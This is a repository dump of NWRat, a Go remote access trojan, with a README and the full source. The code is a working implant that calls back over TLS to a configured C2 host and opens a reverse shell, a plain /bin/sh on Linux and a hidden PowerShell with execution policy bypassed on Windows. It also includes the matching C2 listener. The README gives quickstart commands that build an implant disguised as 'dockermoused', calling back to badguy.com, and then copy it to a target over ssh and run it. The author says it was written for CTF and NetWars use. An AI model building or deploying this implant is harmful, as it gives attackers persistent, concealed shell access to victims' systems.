├── .gitignore ├── LICENSE ├── README.md └── nwrat.go /.gitignore: -------------------------------------------------------------------------------- 1 | .*.swp 2 | nwrat.*.* 3 | nwrat 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2020, J. Stuart McMurray 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | * Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | * Neither the name of the the copyright holder nor the 12 | names of its contributors may be used to endorse or promote products 13 | derived from this software without specific prior written permission. 14 | 15 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 16 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 17 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | DISCLAIMED. IN NO EVENT SHALL J. STUART McMURRAY BE LIABLE FOR ANY 19 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 20 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 21 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 22 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 24 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | NWRat 2 | ===== 3 | Barebones RAT which provides a shell over TLS. Originally written several 4 | years ago for SANS' NetWars, the source was lost and re-written for quite a 5 | long CTF which was part of a job interview. 6 | 7 | As an implant it's a single binary which tries to make a TLS connection to the 8 | C2 server at a set interval. If a connection is established, a shell is 9 | spawned and its stdio hooked up the TLS connection. Further connection 10 | attempts are still made when a shell is running to enable multiple shells on 11 | target (or for if you forget `-c` when you ping something). 12 | 13 | As a C2 server it listens for a connection from the implant, does a TLS 14 | handshake and proxies stdio to the connection. The listening socket is closed 15 | when a connection is accepted to enable catching multiple callbacks. 16 | 17 | Features: 18 | - Single binary for both implant and server 19 | - Shell over TLS 20 | - Constant beacons 21 | - No fussing about with someone else's post-exploitation code 22 | - Compile-time implant configuration 23 | - Cross-platform (though, only if `/bin/sh` exists on the platform) 24 | - Encrypted on the wire 25 | - Easy to set up and use 26 | - Documentation which assumes some familiarity with [Go](https://golang.org) 27 | 28 | For legal use only. 29 | 30 | Quickstart 31 | ---------- 32 | ```sh 33 | # Get the source 34 | go get github.com/magisterquis/nwrat 35 | # Build the C2 server for the local platform 36 | go build github.com/magisterquis/nwrat 37 | # Build an implant for a different platform, setting the callback address 38 | GOOS=linux go build -o dockermoused -ldflags="-X main.callbackAddr=badguy.com:4443" github.com/magisterquis/nwrat 39 | # Put the implant on target it and run it 40 | ssh target 'cat >/tmp/dockermoused && chmod 0700 /tmp/dockermoused && /tmp/dockermoused &' <./dockermoused 41 | # Catch a callback 42 | ./nwrat -listen localhost:4443 -cert ./badguy.com.crt -key ./badguy.com.key 43 | ``` 44 | 45 | Implant 46 | ------- 47 | The implant is configured using Go linker directives. There are three options: 48 | 49 | Option | Default | Description 50 | ----------------------|-------------------|------------ 51 | main.callbackInterval | `1m` | Callback interval, in Go's parseable duration [syntax](https://golang.org/pkg/time/#ParseDuration) 52 | main.callbackAddr | `example.com:443` | Callback address and port 53 | main.implantDebug | _unset_ | Set to any string to have the implant print debugging messages 54 | 55 | As an example, to have the implant call back to `kittens.com:4433` every three 56 | seconds and print debugging output, it would be built something like 57 | 58 | ```sh 59 | go build -ldflags="-X main.callbackInterval=3s -X main.callbackAddr=kittens.com:4433 -X main.implantDebug=sure" github.com/magisterquis/nwrat 60 | ``` 61 | 62 | Editing the `var` block at the top also works. 63 | 64 | Running the binary with no arguments causes it to function as the implant (as 65 | opposed to the C2 server). 66 | 67 | C2 Server 68 | --------- 69 | When used with `-listen` the binary catches a callback. A listen address and TLS 70 | certificate and key corresponding to the domain the implant expects need to be 71 | supplied via command-line options, similar to 72 | 73 | ```sh 74 | ./nwrat -listen 0.0.0.0:4443 -cert ./badguy.com.crt -key ./badguy.com.key 75 | ``` 76 | 77 | It's not a bad idea to wrap `nwrat` in [rlwrap](https://github.com/hanslub42/rlwrap) 78 | or something similar, as there'll be no TTY or readline library. 79 | 80 | When one side or the other disconnects, a message similar to 81 | ``` 82 | 2020/07/22 00:28:25 Sent 206 bytes to implant 83 | ``` 84 | will be logged. 85 | -------------------------------------------------------------------------------- /nwrat.go: -------------------------------------------------------------------------------- 1 | // Program NWRat is a simple implant 2 | package main 3 | 4 | /* 5 | * nwrat.go 6 | * Rat which calls back over TLS 7 | * By J. Stuart McMurray 8 | * Created 20200720 9 | * Last Modified 20200720 10 | */ 11 | 12 | import ( 13 | "crypto/tls" 14 | "flag" 15 | "fmt" 16 | "io" 17 | "log" 18 | "net" 19 | "os" 20 | "os/exec" 21 | "runtime" 22 | "sync" 23 | "time" 24 | ) 25 | 26 | /* Implant settings. These may be set at compile-time. */ 27 | var ( 28 | callbackInterval = "1m" 29 | callbackAddr = "example.com:443" 30 | 31 | implantDebug = "" /* Not empty for verbose implant messages */ 32 | ) 33 | 34 | func main() { 35 | var ( 36 | listen = flag.String( 37 | "listen", 38 | "", 39 | "Callback-catching listen `address`", 40 | ) 41 | cert = flag.String( 42 | "cert", 43 | "cert.pem", 44 | "TLS `certificate` for use with -listen", 45 | ) 46 | key = flag.String( 47 | "key", 48 | "key.pem", 49 | "TLS `key` for use with -listen", 50 | ) 51 | ) 52 | flag.Usage = func() { 53 | fmt.Fprintf( 54 | os.Stderr, 55 | `Usage: %v [-listen address [options]] 56 | 57 | With no arguments, functions as an implant and attempts to make a TLS 58 | connection to the configured domain and port every so often. 59 | 60 | With -listen, listens for a connection from the implant. 61 | 62 | Options: 63 | `, 64 | os.Args[0], 65 | ) 66 | flag.PrintDefaults() 67 | } 68 | flag.Parse() 69 | 70 | if "" != *listen { 71 | doC2(*listen, *cert, *key) 72 | } else { 73 | doImplant() 74 | } 75 | } 76 | 77 | /* debug prints a printfish message if implantDebug is not the empty string */ 78 | func debugf(f string, a ...interface{}) { 79 | if "" != implantDebug { 80 | log.Printf(f, a...) 81 | } 82 | } 83 | 84 | /* doImplant attempts to connect back to the configured address every so often 85 | and if it gets a connection starts a shell. */ 86 | func doImplant() { 87 | /* Parse the callback interval */ 88 | st, err := time.ParseDuration(callbackInterval) 89 | if nil != err { 90 | /* You did test it, right? */ 91 | panic(err) 92 | } 93 | 94 | /* Make sure we have a host and port */ 95 | h, p, err := net.SplitHostPort(callbackAddr) 96 | if "" == h || "" == p { 97 | /* You did test it, right? */ 98 | log.Fatalf("Invalid callback address %s", callbackAddr) 99 | } 100 | if nil != err { 101 | panic(err) 102 | } 103 | 104 | /* TLS Config */ 105 | conf := &tls.Config{ 106 | ServerName: h, 107 | } 108 | 109 | /* Try to call back every so often */ 110 | for { 111 | go tryImplant(conf) 112 | time.Sleep(st) 113 | } 114 | } 115 | 116 | /* tryImplant tries to connect back and spawn a shell */ 117 | func tryImplant(conf *tls.Config) { 118 | /* Try to connect back. */ 119 | c, err := tls.Dial("tcp", callbackAddr, conf) 120 | if nil != err { 121 | debugf("Dial: %s", err) 122 | return 123 | } 124 | defer c.Close() 125 | 126 | /* Upgrade to a shell */ 127 | var s *exec.Cmd 128 | switch os := runtime.GOOS; os { 129 | case "linux": 130 | s = exec.Command("/bin/sh", "-p") 131 | 132 | case "windows": 133 | s = exec.Command( 134 | "powershell.exe", 135 | "-noprofile", 136 | "-noninteractive", 137 | "-executionpolicy", "bypass", 138 | "-windowstyle", "hidden", 139 | ) 140 | } 141 | 142 | s.Stdin = c 143 | s.Stdout = c 144 | s.Stderr = c 145 | if err := s.Run(); nil != err { 146 | debugf("Shell: %s", err) 147 | } 148 | } 149 | 150 | /* doC2 listens for the implant */ 151 | func doC2(addr, certFile, keyFile string) { 152 | /* Set up the TLS config */ 153 | var config tls.Config 154 | config.Certificates = make([]tls.Certificate, 1) 155 | var err error 156 | config.Certificates[0], err = tls.LoadX509KeyPair(certFile, keyFile) 157 | if nil != err { 158 | log.Fatalf( 159 | "Loading TLS cert and key from %s and %s: %s", 160 | certFile, 161 | keyFile, 162 | err, 163 | ) 164 | } 165 | 166 | /* Get a connection */ 167 | l, err := tls.Listen("tcp", addr, &config) 168 | if nil != err { 169 | log.Fatalf("Listening on %s: %s", addr, err) 170 | } 171 | log.Printf("Listening on %s", l.Addr()) 172 | c, err := l.Accept() 173 | if nil != err { 174 | log.Fatalf("Accepting a connection to %s: %s", l.Addr(), err) 175 | } 176 | start := time.Now() 177 | l.Close() 178 | defer c.Close() 179 | log.Printf("Connection %s -> %s", c.RemoteAddr(), c.LocalAddr()) 180 | 181 | /* Proxy stdio */ 182 | var wg sync.WaitGroup 183 | wg.Add(2) 184 | go func() { 185 | defer wg.Done() 186 | n, err := io.Copy(c, os.Stdin) 187 | if nil != err { 188 | log.Printf( 189 | "Error after sending %d bytes to implant: %s", 190 | n, 191 | err, 192 | ) 193 | } else { 194 | log.Printf("Sent %d bytes to implant", n) 195 | } 196 | }() 197 | go func() { 198 | defer wg.Done() 199 | n, err := io.Copy(os.Stdout, c) 200 | if nil != err { 201 | log.Printf( 202 | "Error after receiving %d bytes from "+ 203 | "implant: %s", 204 | n, 205 | err, 206 | ) 207 | } else { 208 | log.Printf("Received %d bytes from implant", n) 209 | } 210 | }() 211 | 212 | wg.Wait() 213 | log.Printf( 214 | "Connection terminated after %s", 215 | time.Since(start).Round(time.Millisecond), 216 | ) 217 | } 218 | --------------------------------------------------------------------------------